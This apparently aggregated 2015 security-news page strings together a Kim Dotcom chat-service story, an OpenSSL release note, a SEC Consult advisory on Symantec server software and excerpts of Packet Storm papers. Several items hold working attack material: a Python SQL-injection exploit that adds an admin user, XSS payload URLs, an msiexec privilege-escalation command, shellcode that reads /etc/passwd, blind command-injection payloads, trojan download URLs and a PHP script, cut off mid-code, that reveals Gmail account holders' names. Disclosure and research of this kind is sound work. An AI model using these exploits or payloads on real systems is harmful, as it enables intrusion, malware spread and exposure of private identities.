Aerosol

Internet entrepreneur Kim Dotcom has released an encrypted chat service, called MegaChat, to compete with the Microsoft-owned Skype. The release would be rolled out gradually, beginning with video-calling on Thursday, he said. The news came as it emerged a top EU official wants companies to be required by law to hand over encryption keys. The EU counter-terrorism coordinator's proposal follows a similar call by Prime Minister David Cameron. In a document leaked by the civil liberties group Statewatch, Gilles de Kerchove said encryption "increasingly makes lawful interception by the relevant national authorities technically difficult or even impossible". He wrote: "The [European] Commission should be invited to explore rules obliging internet and telecommunications companies operating in the EU to provide, under certain conditions as set out in the relevant national laws and in full compliance with fundamental rights, access of the relevant national authorities to communications (ie share encryption keys)." Mr De Kerchove refused to comment on the leaked document. Earlier this month, Mr Cameron said he wanted internet firms to allow the government to view encrypted messages in order to aid the security services. But his plans to revive the Communications Data Bill, dubbed the "snoopers' charter", were criticised by civil liberties groups and the Deputy Prime Minister, Nick Clegg. Announcing the launch of the beta version of his MegaChat service, Mr Dotcom said that video-calling would gradually be followed by a text-chat service and video-conferencing. About three years ago, Mr Dotcom's Megaupload site was seized and he was arrested in an armed raid on his New Zealand house. Announcing the launch of MegaChat on Twitter, he noted the timeline that lead from the raid to Thursday's announcement, highlighting the launch of his new site, Mega, and a political party in the subsequent years. And he wrote: "#Mega offers a security bounty again. Please report any security flaw to us. We'll fix it and reward you. Thanks for helping." Mr Dotcom still faces extradition from New Zealand to the United States on copyright infringement charges. In November last year, he said he was "broke" as a result of the consequent legal fight. He put the cost at $10m (£6.4m) since his arrest in 2012. Source

Update to : OpenSSL Toolkit 1.0.2 OpenSSL is a robust, fully featured Open Source toolkit implementing the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS v1) protocols with full-strength cryptography world-wide. Changes: Added support for OCB mode. SSLv2 support has been removed. Increased the minimal RSA keysize from 256 to 512 bits. Various other updates and fixes. Download

SEC Consult Vulnerability Lab Security Advisory < 20150122-0 > ======================================================================= title: Multiple critical vulnerabilities products: Symantec Data Center Security: Server Advanced (SDCS:SA) Symantec Critical System Protection (SCSP) vulnerable version: see: Vulnerable / tested versions fixed version: SCSP 5.2.9 MP6, SDCS:SA 6.0 MP1 - not all vulnerabilities were fixed, but mitigations exist impact: Critical CVE number: CVE-2014-7289, CVE-2014-9224, CVE-2014-9225, CVE-2014-9226 homepage: http://www.symantec.com found: 2014-09-19 by: Stefan Viehböck SEC Consult Vulnerability Lab https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Symantec Data Center Security: Server Advanced v6.0 (DCS: Server Advanced) extends the Data Center Security: Server solution beyond agentless threat protections by incorporating technologies previous known as Critical System Protection. Data Center Security: Server Advanced provides granular, policy- based controls with a low impact in-guest agent to monitor and protect numerous physical and virtual server environments. Through a combination of technologies including application-centric controls including protected white listing, sandboxing using least privilege access controls, host-based intrusion detection (HIDS) and prevention (HIPS), and real-time file integrity monitoring (FIM), organizations can proactively safeguard their heterogeneous server environments and the information they contain from zero-day and targeted attacks, and fulfill their compliance mandates across critical systems. Click here for more info" Source: http://www.symantec.com/connect/forums/announcing-data-center-security-server-server-advanced-products Business recommendation: ------------------------ Attackers are able to completely compromise the SDCS:SA Server as they can gain access at the system and database level. Furthermore attackers can manage all clients and their policies. SDCS:SA Server can be used as an entry point into the target infrastructure (lateral movement, privilege escalation). Furthermore the SDCS:SA Client protections can be bypassed in several ways. It is highly recommended by SEC Consult not to use this software until a thorough security review (SDCS:SA Server, SDCS:SA Client Policies) has been performed by security professionals and all identified issues have been resolved. Note: SDCS:SA was replaced by SCSP. In this document the name SDCS:SA is used. Vulnerability overview/description: ----------------------------------- 1) Unauthenticated SQL Injection (SDCS:SA Server) (CVE-2014-7289) Due to insufficient input validation, the application allows the injection of direct SQL commands. By exploiting the vulnerability, an attacker gains access (read/write) to all records stored in the database as arbitrary SQL statements can be executed. Furthermore the application design enables an attacker to gain code execution as SYSTEM (highest privilege Windows user) on the server by exploiting this vulnerability. No prior authentication is needed to exploit this vulnerability. Affected script: https://<host>:4443/sis-ui/authenticate 2) Reflected Cross-Site-Scripting (XSS) (SDCS:SA Server) (CVE-2014-9224) The applications suffers from a reflected cross-site scripting vulnerability, which allows an attacker to steal other users' sessions, to impersonate other users and to gain unauthorized access to the admin interface. Affected scripts: https://<host>:8081/webui/Khaki_docs/SSO-Error.jsp https://<host>:8081/webui/admin/WCUnsupportedClass.jsp 3) Information Disclosure (SDCS:SA Server) (CVE-2014-9225) A script discloses internal information about the application on the server without prior authentication. This information includes file paths on the webserver, version information (OS, Java) and is accessible without prior authentication. Affected script: https://<host>:8081/webui/admin/environment.jsp 4) Multiple Default Security Protection Policy Bypasses (SDCS:SA Client) (CVE-2014-9226) Several bypasses were discovered. These require Windows Administrator permissions. This requirement is usually met in SDCS:SA deployments. Note: SEC Consult did not check whether the mitigations provided by Symantec do in fact sufficiently mitigate these vulnerabilities! - Persistent code execution via Windows Services The default Symantec policy rules can be bypassed in order to get persistent arbitrary code execution. - Remote code execution via RPC The default Symantec policy rules can be bypassed in order to get persistent arbitrary code execution. In addition to that "psexec-style" remote code execution via SMB is possible as well. - Policy bypass: Extraction of Windows passwords/hashes The default Symantec policy rules do not prevent attackers from extracting the Windows passwords/password hashes from the System. - Privilege elevation via Windows Installer (msiexec.exe) The restrictions imposed by the default policies can be bypassed entirely by exploiting incorrect assumptions made in the policy regarding the Windows Installer (msiexec.exe). - Privilege elevation/code execution via Windows Management Instrumentation (.mof files) The restrictions imposed by default policies can be bypassed partially by exploiting incorrect assumptions made in the policy regarding the Windows Management Instrumentation. The policy does not take intended OS functionality to execute code into account. Proof of concept: ----------------- 1) Unauthenticated SQL Injection (SDCS:SA Server) (CVE-2014-7289) The servlet accessible via /sis-ui/authenticate (TCP port 4443, HTTPS) is vulnerable to SQL injection. By sending a specially crafted HTTP request, arbitrary SQL statements can be executed. In a proof of concept exploit, SQL statements to add a new SDCS:SA user with admin privileges (username: secconsult, password: PASSWORD123!) were executed. These statements are: INSERT INTO USR (RID, USERNAME, PWD, CONTACT_NAME, PHONES, EMAIL, ALERT_EMAIL, ADDRESS, MANAGER_NAME, BUSINESS_INFO, PREF_LANGUAGE, FLAGS, DESCR, CREATETIME, MODTIME, ENABLED, BUILTIN, HIDDEN, SALT) VALUES (1504, 'secconsult', 'DUjDkNZgv9ys9/Sj/FQwYmP29JBtGy6ZvuZn2kAZxXc=', '', '', '', '', '', '', '', '', NULL, 'SECCONSULT', '2014-09-12 07:13:09', '2014-09-12 07:13:23', '1', '0', '0', 'N1DSNcDdDb89eCIURLriEO2L/RwZXlRuWxyQ5pyGR/tfWt8wIrhSOipth8Fd/KWdsGierOx809rICjqrhiNqPGYTFyZ1Kuq32sNKcH4wxx+AGAUaWCtdII7ZXjOQafDaObASud25867mmEuxIa03cezJ0GC3AnwVNOErhqwTtto='); INSERT INTO ROLEMAP (USERRID, ROLERID) VALUES (1504, 1); The code used to exploit the SQL injection vulnerability is listed below: import httplib def send_request(host,data): params = data headers = {"AppFire-Format-Version": "1.0", "AppFire-Charset": "UTF-16LE", "Content-Type":"application/x-appfire", "User-Agent":"Java/1.7.0_45", } conn = httplib.HTTPSConnection(host) conn.request("POST", "/sis-ui/authenticate", params, headers) response = conn.getresponse() data=response.read() conn.close() return response,data header ="Data-Format=text/plain\nData-Type=properties\nData-Length=%i\n\n" data ="ai=2\r\nha=example.com\r\nun=AAAAAAAAAAAAAA'; INSERT INTO USR (RID, USERNAME, PWD, CONTACT_NAME, PHONES, EMAIL, ALERT_EMAIL, ADDRESS, MANAGER_NAME, BUSINESS_INFO, PREF_LANGUAGE, FLAGS, DESCR, CREATETIME, MODTIME, ENABLED, BUILTIN, HIDDEN, SALT) VALUES (1504, 'secconsult', 'DUjDkNZgv9ys9/Sj/FQwYmP29JBtGy6ZvuZn2kAZxXc=', '', '', '', '', '', '', '', '', NULL, 'SV DESCRIPTION', '2014-09-12 07:13:09', '2014-09-12 07:13:23', '1', '0', '0', 'N1DSNcDdDb89eCIURLriEO2L/RwZXlRuWxyQ5pyGR/tfWt8wIrhSOipth8Fd/KWdsGierOx809rICjqrhiNqPGYTFyZ1Kuq32sNKcH4wxx+AGAUaWCtdII7ZXjOQafDaObASud25867mmEuxIa03cezJ0GC3AnwVNOErhqwTtto='); -- '' " # add user to USR table #data ="ai=2\r\nha=example.com\r\nun=AAAAAAAAAAAAAA'; INSERT INTO ROLEMAP (USERRID, ROLERID) VALUES (1504, 1); -- " # add user to admin group data+="\r\nan=Symantec Data Center Security Server 6.0\r\npwd=GBgYGBgYGBgYGBgYGBgYGBg=\r\nav=6.0.0.380\r\nhn=WIN-3EJQK7U0S3R\r\nsso=\r\n" data = data.encode('utf-16le') eof_flag="\nEOF_FLAG\n" header = header %(len(data)) payload=header+data+eof_flag response,data = send_request("<host>:4443",payload) print data.decode('utf-16le') print response.status As the application users act as Tomcat administrators, an attacker can login into the Tomcat manager as well. The Tomcat manager is available by default via TCP port 8081 HTTPS. The Tomcat Web Application Manager can be used to deploy new .war-files containing attacker-controlled Java code. This allows an attacker to execute arbitrary commands on the operating system with the permissions/user of the "Symantec Data Center Security Server Manager" service (SISManager) which are SYSTEM. 2) Reflected Cross-Site-Scripting (XSS) (SDCS:SA Server) (CVE-2014-9224) At least the following URLs are vulnerable to XSS: https://example.com:8081/webui/Khaki_docs/SSO-Error.jsp?ErrorMsg=<script>alert('xss')</script> https://example.com:8081/webui/admin/WCUnsupportedClass.jsp?classname=<script>alert('xss')</script> 3) Information Disclosure (SDCS:SA Server) (CVE-2014-9225) The following URLs discloses internal information: https://example.com:8081/webui/admin/environment.jsp 4) Multiple Default Security Protection Policy Bypasses (SDCS:SA Client) (CVE-2014-9226) - Persistent code execution via Windows Services Windows Service binaries can have file extensions other than ".exe". This allows an attacker to execute arbitrary files and enables automatic execution of malicious code at OS boot. - Remote code execution via RPC Existing tools like "psexec" or Metasploit (/exploit/windows/smb/psexec) can be modified to write files not ending with ".exe" on the target system. - Policy bypass: Extraction of Windows passwords/hashes The tool "mimikatz" can be used to extract Windows credentials. - Privilege elevation via Windows Installer (msiexec.exe) msiexec.exe is trusted "safe privileges" when started as a service (usually "Windows Installer" parameter "/V"). This can be abused by creating a service that starts msiexec.exe with the parameters "/quiet", "/i" and a path to a valid .msi file. Upon service start the .msi file is executed with "safe privileges" privileges and not subject to any SDCS:SA Client checks. sc create evil_service binpath= "c:\windows\System32\msiexec.exe /quiet /i c:\temp\evil_msi" type= own start= auto error= ignore net start evil_service - Privilege elevation/code execution via Windows Management Instrumentation (.mof files) On old Windows versions .mof files placed in "%SystemRoot%\System32\wbem\mof\" are automatically compiled/executed. These trigger arbitrary code execution. The code is executed with "def_winsvcs_ps" permissions. Vulnerable / tested versions: ----------------------------- The vulnerabilities have been verified to exist in Symantec Data Center Security: Server Advanced version 6.0, which was the most recent version at the time of discovery. However other versions (SCSP 5.2.9) are affected by the vulnerabilities as well. See the vendor information in the Solution section. Vendor contact timeline: ------------------------ 2014-10-20: Sending advisory and proof of concept exploit via encrypted channel. 2014-10-20: Vendor acknowledges receipt of advisory. 2014-11-18: Requesting status update. 2014-11-18: Vendor responds and informs about an advisory in December, version containing fixes in February. 2014-12-04: Vendor informs about delays in releasing fixes/mitigations, target release date mid-January. 2015-01-08: Vendor confirms release date for fixes/mitigations (2015-01-17). 2015-01-17: Vendor releases fixes for SCSP. 2015-01-19: Vendor releases advisory and mitigations for SCSP/ 2015-01-22: SEC Consult releases coordinated security advisory. Solution: --------- Update to the most recent version of SCSP (5.2.9 MP6) or SDCS:SA (6.0 MP1). Not all vulnerabilities are fixed by this update! However, Symantec has provided mitigations for these issues: More information can be found at: http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20150119_00 http://www.symantec.com/business/support/index?page=content&id=TECH227679 http://www.symantec.com/business/support/index?page=content&id=HOWTO100996&actp=search&viewlocale=en_US&searchid=1421349750071 Workaround: ----------- See solution. Advisory URL: ------------- https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Vienna - Bangkok - Frankfurt/Main - Montreal - Singapore - Vilnius - Zurich Headquarter: Mooslackengasse 17, 1190 Vienna, Austria Phone: +43 1 8903043 0 Fax: +43 1 8903043 15 Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult Interested to work with the experts of SEC Consult? Write to career@sec-consult.com EOF Stefan Viehböck / @2015 Source

Virus Total Scan: https://www.virustotal.com/pl/file/1af1416a7c15765d6b483f4900892ccefef54d545dd0e5754921f4991f9a252f/analysis/1421698835/ Download Pass: infected It is trojan downloader Win32/Dalexis breteau-photographe.com/tmp/pack.tar.gz voigt-its.de/fit/pack.tar.gz maisondessources.com/assets/pack.tar.gz jbmsystem.fr/jb/pack.tar.gz pleiade.asso.fr/piwigotest/pack.tar.gz scolapedia.org/histoiredesarts/pack.tar.gz Unpacked Download unpacked Source

1. Simple program that reads /etc/passwd file Shellcode: ( Download Link given in the end ) "\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\ x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x 2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x8 0" Now we create a simple programt that will execute this code and Compile it using gcc –fno-stack-protector -z execstack code.c –o shellcode It will compile our code and program should work without any hindrance. Read more: http://dl.packetstormsecurity.net/papers/shellcode/re_shellcode.pdf

In this article we will get an introduction into mobile malware on Android. The main goal is to give you an overview of the tools used and provide you with a starting point for next work.We will use some webservices that provide a good overview of the malware and later specialized tools to understand the details. This sample is a example malware(syssecApp.apk) written for Reverse Engineering Summer School 2013 (Organized by Ruhr University-Bochum). It provides an overview of what Android malware is able to do. It is not linked to a control server, so the data it steals will never leave our phone. However some personal data will be visible in the logs and during our analysis, so we should use an emulator anyway. Basically; 1 – Basics of Android Applications Read more: http://dl.packetstormsecurity.net/papers/attack/intro-android-malware.pdf

XSS or Cross Site Scripting is a web application vulnerability that occurs when untrusted data from the user is processed by the web application without validation and is reflected back to the browser without encoding or escaping, resulting in code execution at the browser engine. type of XSS Reflected or Non-Persistent XSS ? Stored or Persistent XSS ? DOM based XSS ? mXSS or Mutation XSS Read more: http://dl.packetstormsecurity.net/papers/general/ultimate-xss.pdf

Table of Contents Abstract.........................................................................................................................................................1 1. Introduction..........................................................................................................................................2 1.1 Form Validation in HTML 4 ...........................................................................................................2 1.2 Form Validation in HTML5 ............................................................................................................3 2. HTML5 Security Concerns.....................................................................................................................4 2.1 Web Storage Attacks.....................................................................................................................4 3.1 Session Storage .............................................................................................................................5 3.2 Local Storage.................................................................................................................................5 3.3 localStorage API ............................................................................................................................6 3.3.1 Adding an Item..................................................................................................................6 3.3.2 Retrieving Items................................................................................................................6 3.3.3 Removing an Item .............................................................................................................6 3.3.4 Removing All Items............................................................................................................6 3.4 Session Storage API.......................................................................................................................7 3.4.1 Adding An Item..................................................................................................................7 3.4.2 Retrieving An Item.............................................................................................................7 3.4.3 Removing An Item.............................................................................................................7 3.4.4 Removing All Items............................................................................................................7 3.5 Security Concerns with Web Storage in HTML5 ...........................................................................7 3.6 Stealing Local Storage Data via XSS ..............................................................................................8 3.7 Stored DOM Based XSS Attacks....................................................................................................9 3.8 Example of a DOM Based XSS .....................................................................................................10 4. WebSockets Attacks ...........................................................................................................................11 4.1 Security Concerns of WebSockets Attacks..................................................................................11 4.1.1 Denial of Service Issues...................................................................................................11 4.1.2 Denial of Service on the Client Side ................................................................................11 4.1.3 Denial of Service on the Server Side ...............................................................................12 4.1.4 Data Confidentiality Issues..............................................................................................12 4.1.5 Cross-Site Scripting Issues in WebSocket........................................................................13 4.1.6 WebSocket Cross-Site Scripting Proof of Concept..........................................................13 4.1.7 Proof of Concept of WebSocket XSS ...............................................................................14 4.1.8 Origin Header..................................................................................................................15 5. XSS with HTML5 Vectors.....................................................................................................................16 5.1 Case 1 – Tags Blocked .................................................................................................................16 5.2 Case 2 - Attribute Context...........................................................................................................16 5.2.1 Example...........................................................................................................................16 5.3 Case 3 – Formaction attribute ....................................................................................................18 6. Cross Origin Resource Sharing (CORS)................................................................................................19 6.1 What is an Origin?.......................................................................................................................19 6.2 Crossdomain.xml.........................................................................................................................19 6.3 What is CORS?.............................................................................................................................20 6.3.1 Example...........................................................................................................................20 6.3.2 Security Issue...................................................................................................................20 6.3.3 Example...........................................................................................................................20 6.3.4 Example...........................................................................................................................20 6.3.5 Proof of Concept .............................................................................................................22 7. GeoLocation API..................................................................................................................................23 7.1 Introduction ................................................................................................................................23 7.2 Security Concerns........................................................................................................................23 7.2.1 Example...........................................................................................................................23 7.2.2 Proof of Concept .............................................................................................................24 7.2.3 Chrome............................................................................................................................24 7.2.4 Firefox..............................................................................................................................24 8. Client Side RFI Includes.......................................................................................................................26 8.1 Vulnerability Example .................................................................................................................26 8.2 Example.......................................................................................................................................27 8.3 Request .......................................................................................................................................28 8.4 Safer Example .............................................................................................................................28 8.5 Open Redirects............................................................................................................................29 8.5.1 Example...........................................................................................................................29 9. Cross Window Messaging...................................................................................................................30 9.1 Sender’s Window........................................................................................................................30Copyright© 2014 RHA InfoSEC. All rights reserved. Page iv 9.2 Receiver’s Window......................................................................................................................30 9.3 Security Concerns........................................................................................................................31 9.3.1 Origin not being checked ................................................................................................31 9.3.2 Impact .............................................................................................................................31 9.3.3 DOM Based XSS...............................................................................................................31 9.3.4 Vulnerable Code..............................................................................................................32 10. Sandboxed Iframes.............................................................................................................................33 10.1 Security Concerns........................................................................................................................33 11. Offline Applications ............................................................................................................................34 11.1 Example.......................................................................................................................................34 11.2 Security Concerns........................................................................................................................35 12. WebSQL ..............................................................................................................................................37 12.1 Security Concerns........................................................................................................................37 12.2 SQL Injection ...............................................................................................................................37 12.3 Insecure Statement.....................................................................................................................37 12.4 Secure Statement........................................................................................................................38 12.5 Cross Site Scripting......................................................................................................................39 12.5.1 Example...........................................................................................................................40 13. Scalable Vector Graphics....................................................................................................................41 14. Webworkers........................................................................................................................................44 14.1 Creating a Webworker................................................................................................................44 14.1.1 Sending/Receiving a Message to/from Webworker.......................................................44 14.2 Cross Site Scripting Vulnerability ................................................................................................46 14.2.1 Example...........................................................................................................................46 14.3 Distributed Denial of Service Attacks..........................................................................................47 14.4 Distributed Password Cracking ...................................................................................................50 15. Stealing Personal Data Stored With Autocomplete Function ............................................................52 15.1 Example: Autocomplete Attribute in Action...............................................................................52 16. Scanning Private IP Addresses............................................................................................................54 16.1 WebRTC.......................................................................................................................................54 17. Security Headers to Enhance Security with HTML5 ...........................................................................56 17.1 X- XSS-Protection ........................................................................................................................56 17.2 X-Frame-Options.........................................................................................................................56 17.3 Strict-Transport-Security.............................................................................................................57 17.3.1 Example...........................................................................................................................58 17.4 X-Content-Type-Options.............................................................................................................58 17.4.1 Example...........................................................................................................................58 17.4.2 Example...........................................................................................................................59 17.5 Content-Security-Policy ..............................................................................................................59 17.5.1 Sample CSP......................................................................................................................60 Acknowledgements.....................................................................................................................................61 References ..................................................................................................................................................62 Read more: http://dl.packetstormsecurity.net/papers/attack/HTML5AttackVectors_RafayBaloch_UPDATED.pdf

For many years, different types of malware rank among the biggest IT security threats both in the business and the private domain. In order to protect oneself from the dangers of malware, numerous software manufacturers offer IT security products like antivirus and endpoint protection software. But these products alone offer no sufficient protection from malware that knows some tricks, as the results of our recent research with the topic antivirus evasion show. In the recent past, there were several computer-based attacks against IT networks that became public and raised a lot of media attention. Especially the attacks against the New York Times [1] and the Washington Post [2] at the beginning of 2013 had a world-wide media coverage and also heated the debate about such cyber threats with manufacturers of IT security products like antivirus and endpoint protection software. In both mentioned cases, attackers were able to install malware on computer systems of employees in order to literally spy on the affected companies – and this probably undetected for several months. Once more, incidences like these have pointed out that in spite of the use of IT security products like antivirus software or host intrusion detection/prevention software (HIDS/HIPS) such attacks cannot be entirely prevented. This kind of threat illustrates that enterprises and also government agencies require a master plan with a working information security management and security awareness of all employees. This paper discusses how developers of malware like trojan horses (in short trojans), viruses, and worms proceed to hide their malicious intentions from antivirus software. Thereby, current results of our recent research are presented and recommendations are given for dealing with threats and security risks caused by malware. How Antivirus Software Works Current antivirus software, no matter if a standalone software product or a component of a software suite (host intrusion detection/prevention software, endpoint protection software, etc.), uses different methods to detect known and unknown threats by means of malware. In general, these methods used for protecting computer systems from unwanted, malicious software can be assigned to the following two strategies: 1. Blacklisting 2. Whitelisting In the context of antivirus software, the two terms blacklisting and whitelisting simply mean that the execution of a program is either explicitly forbidden (being on a black list) or explicitly allowed (being on a white list). Thus, by following the blacklisting approach antivirus software will prevent the execution of programs that are Read more: http://dl.packetstormsecurity.net/papers/general/outsmarted-malware.pdf

CONTENTS Introduction 4 Executive summary 4 1 The initial incident 5 2 Analysis 6 2.1 Plug-in ................................................................................................................................................ 6 2.2 Origin.................................................................................................................................................. 9 2.3 Features............................................................................................................................................ 11 2.4 Setup ................................................................................................................................................ 11 2.5 CMS integration................................................................................................................................ 13 2.6 Crypto and Communication ............................................................................................................. 15 2.7 Manual Control ................................................................................................................................ 17 2.8 Configuration.................................................................................................................................... 18 2.9 Backup communication.................................................................................................................... 19 2.10 Purpose: Blackhat SEO ..................................................................................................................... 20 2.11 Possible author................................................................................................................................. 22 3 Infrastructure 23 3.1 Spreading.......................................................................................................................................... 23 3.2 Command and control servers......................................................................................................... 24 4 Checking for CryptoPHP in plug-ins and themes 26 4.1.1 WordPress......................................................................................................................... 26 4.1.2 Joomla ............................................................................................................................... 27 4.1.3 Drupal................................................................................................................................ 27 5 Appendix: Indicators of Compromise 28 5.1 Network detection ........................................................................................................................... 28 5.2 File hashes........................................................................................................................................ 29 5.3 Command and Control servers......................................................................................................... 30 5.3.1 Version 0.1......................................................................................................................... 30 5.3.2 Version 0.1 (other variant) ................................................................................................ 30 5.3.3 Version 0.2, 0.2x1, 0.2x2, 0.2b3, 0x2x4, 0.2x9, 0.3, 0.3x1................................................. 35 5.3.4 Version 1.0, 1.0a................................................................................................................ 39 5.4 Backup communication email addresses......................................................................................... 42 5.4.1 Version 0.1......................................................................................................................... 42 5.4.2 Version 0.1 (other variant) ................................................................................................ 42 5.4.3 Version 0.2, 0.2x1, 0.2x2, 0.2b3, 0.2x4, 0.2x9, 0.3 ............................................................ 42 5.4.4 Version 1.0, 1.0a................................................................................................................ 50 Read more: http://dl.packetstormsecurity.net/papers/evaluation/cryptophp-whitepaper-foxsrt-v4.pdf

This is a brief write up noting javascript backdoors left in common PHP shells. Read more: http://dl.packetstormsecurity.net/papers/general/backdoor.pdf

When you find an offsec 101 style blind-command injection on embedded systems, you may have difficulties because of their restricted environments. ;ping -c1 192.168.1.2; Even though you may able to run some commands like ping or reboot... other commands may not work. Since the output was not showing, you cannot be sure if the commands do not exists or they fail for a reason. So, in such scenarios I always check for my injection commands as in the example below: # This command will ping you back if `ls` is found in "/bin" directory ;if test -e "/bin/ls";then ping -c1 192.168.1.2;fi; # or better ;if test -e "/bin/ls";then ping -c1 192.168.1.2;else ping -c2 192.168.1.2;fi; After I see that this approach works, I use more commands to understand my target environment better: # To check if "/tmp" directory exsists? ;if test -d "/tmp";then ping -c2 192.168.1.2;fi; # To check if "/var/passwd" file is exsists and has read permissions? ;if test -r "/var/passwd";then ping -c2 192.168.1.2;fi; ;if test -r "/etc/passwd";then ping -c2 192.168.1.2;fi; # To check if logger exists? -- which is another tricky command used in BlindCI... ;if test -e "/usr/bin/logger";then ping -c1 192.168.1.2;fi; # To check if wget is exists? ;if test -e "/bin/wget";then ping -c1 192.168.1.2;fi; ;if test -e "/sbin/wget";then ping -c1 192.168.1.2;fi; ;if test -e "/usr/bin/wget";then ping -c1 192.168.1.2;fi; ;if test -e "/usr/sbin/wget";then ping -c1 192.168.1.2;fi; Note: Embedded systems may differ depending to their build systems(Buildroot, LinuxFromScratch, Yocto...) and/or they can use slightly different versions of well-known commands. Thus, you may need to change some parameters while using those commands. Since we are talking about BLIND COMMAND INJECTION you have to be sure that your injection command/binary is installed on your target. That's why it is a good practice to check your commands in all possible "bin" directories. For example; three commands below does the exact same-thing, however if you try your injection(s) based on just one version you can "assume" that wget does not exists on your Read more: http://dl.packetstormsecurity.net/papers/attack/blind_command_injection_on_busybox.pdf

Table of Contents I. INTRODUCTION...............................................................................................................................1 II. BACKGROUND .............................................................................................................................2 Operation of a Biometric System: .........................................................................................................2 DNA:.....................................................................................................................................................4 Face Recognition:................................................................................................................................4 Hand and Finger Geometry:..............................................................................................................4 Fingerprint: .........................................................................................................................................4 Iris: .......................................................................................................................................................4 Retinal scan: ........................................................................................................................................5 III. DECIDING TO USE A BIOMETRIC TECHNOLOGY............................................................5 IV. CHALLENGES FACED................................................................................................................8 Privacy and Public Confidence: ............................................................................................................8 Fake Biometrics: .....................................................................................................................................9 Theft of Biometric Data: ........................................................................................................................9 Ease of Use:..............................................................................................................................................9 Environmental Factors:........................................................................................................................10 Physical Factors:...................................................................................................................................10 V. SOLUTIONS .....................................................................................................................................11 Educating Public about Biometrics – Solves Public Acceptance and Ease of Use problem: .........11 Testing the liveliness of a Biometric – Eliminates Fake Biometrics:................................................12 Encryption, Centralization, Multimodal Biometrics and Revising Algorithms – Solves the Problem of Theft:..................................................................................................................................12 Ensuring Cleanliness before using a Biometric Device – Mitigates Environmental Factors:........13 Solving the problem of Physical factors:.............................................................................................13 VI. CONCLUSION .............................................................................................................................14 REFERENCES..........................................................................................................................................15 Source

Table of Contents I. Introduction: .......................................................................................................................... 1 II. Threats posed to business professionals by open Wi-Fi hotspots...................................... 2 A. Most common threats to devices connected to open Wi-Fi hotspots....................................3 1. Types and description of threats................................................................................... 3 2. Basic security measures:................................................................................................ 3 B. Evil Twin............................................................................................................................................4 1. What is an evil twin?...................................................................................................... 4 2.Effects of evil-twin attack on the end user...............................................................................6 III. The repercussions of lack of a sound security for the Wi-Fi.......................................... 6 A.The after-effects of being a victim of cyber-crime....................................................................6 1. Loss of money to restore the system to its original state: ........................................... 6 2. Loss of time in retrieving back the lost/damaged/misused data:............................... 6 IV. Measures to mitigate evil twin attacks............................................................................. 7 A.WPA-PSK method:..........................................................................................................................7 B. Using a Virtual Private Network: ................................................................................................7 C. Awareness of cyber security ........................................................................................................12 D.Introducing the concept of basics of cyber-security to students at an earlier age. .........14 V. The perks of upgrading to stronger security measures as mentioned above:.................. 15 A.Increases the productivity of an organization and reduces the avoidable expenses. .....15 B. Beneficial to end-users as their private data is kept private and unaffected. ..................15 C.Works towards building a better and a robust security system throughout. ..................15 VI. Conclusion:............................................................................................................................ 15 VII. References:........................................................................................................................... 17 Source

Threat Level: High Severity: High CVSS Severity Score: 7.0 Impact Type: Complete confidentiality, integrity and availability violation. [2] Vulnerability: (1) Filtration Bypass. (3) Unauthenticated Cross Site scripting vulnerabilities. Description A malicious user could get unsuspecting visitors into divulging their credentials, to force a redirection to a heterogeneous third-party website, or to execute malicious code, on behalf of the attacker. An attacker can also fold malicious content into the content being delivered to visitors on the site. In this attack “Visitor -> Vendor” trust-levels are directly impacted, since the vendor’s website, and associated services , and products have high levels of trust by default. Read more: http://dl.packetstormsecurity.net/1501-advisories/Oracle_Website_Vulnerabilities119.pdf

overview on 12/09/14 i discovered a method of revealing the full and/or display names associated with gmail accounts via maps engine, whether or not those accounts are associated with google plus, which renders said information public. i immediately submitted my findings to google’s vulnerability rewards program and began correspondence with their security team. at some point during this time, i discovered a nearly identical vulnerability in google drive, and held it as an ace up my sleeve while awaiting feedback on the maps engine leak. the google drive leak differs in a few ways from the maps engine leak, specifically in that it doesn’t deploy an email to the target – potentially informing him or her that something is afoot, and is what the live proof of concept and open source code are based upon. here it is in action with a non-g+ account: <11:35 pm est update> it has recently come to light that this not only works on google accounts, but *some* hotmails, yahoos and others as well. here’s a small excerpt of what i just sent over to google’s security team: additionally, adrian suggested the possibility of: so thanks to him and marcus from the 2600 group for helping me try to wrap my head around this, and this tweet, which poses an excellent question: as well as for providing some suggested reading material for the guys on google’s security team: </11:35 pm est update> timeline of events 12/09/14: submitted vulnerability report 12/15/14: confirmation that the issue exists 12/16/14: google employee confirms that maps engine is “too chatty” and files a bug report 01/17/15: i am informed the issue “doesn’t represent a security vulnerability” 01/20/15: google publicly announces its plans to deactivate maps engine and restricts new signups 01/20/15: it is discovered that other email services, not just gmail, are vulnerable. google security team notified via email click here for a live poc demo of the gmail full name revealer now obviously you aren’t going to reveal a target’s full name every time. there are a few factors to consider; one of which being that not everyone uses their actual full name when signing up for something on the internet, another being that gmail account’s must be 6 characters long, and i’m sure a few others i’m not accounting for. sometimes you’ll retrieve null results, but most of the time what you’ll end up with is either a user-set display name, or in most cases, the first and last name the target entered while signing up for the account as seen here: and here‘s the source code. you may quickly notice php isn’t my native programming language, so feel free to make revisions. i’d love to see them. <?php $targetEmail = 'target@gmail.com'; require_once "google-api-php-client/src/Google/Client.php"; require_once "google-api-php-client/src/Google/Service/Drive.php"; require_once "google-api-php-client/src/Google/Auth/AssertionCredentials.php"; $cScope = 'https://www.googleapis.com/auth/drive'; $cClientID = '[clientid]'; $cClientSecret = '[clientsecret]'; $cRedirectURI = '[redirecturi]'; $cAuthCode = ''; if(isset( $_GET['code'])) { $cAuthCode = $_GET['code']; } if (!($cAuthCode) == "null") { $rsParams = array( 'scope' => $cScope, 'state' => 'security_token', 'redirect_uri' => $cRedirectURI, 'response_type' => 'code', 'client_id' => $cClientID, 'access_type' => 'offline', 'approval_prompt' => 'force' ); $cOauthURL = 'https://accounts.google.com/o/oauth2/auth?' . http_build_query($rsParams); 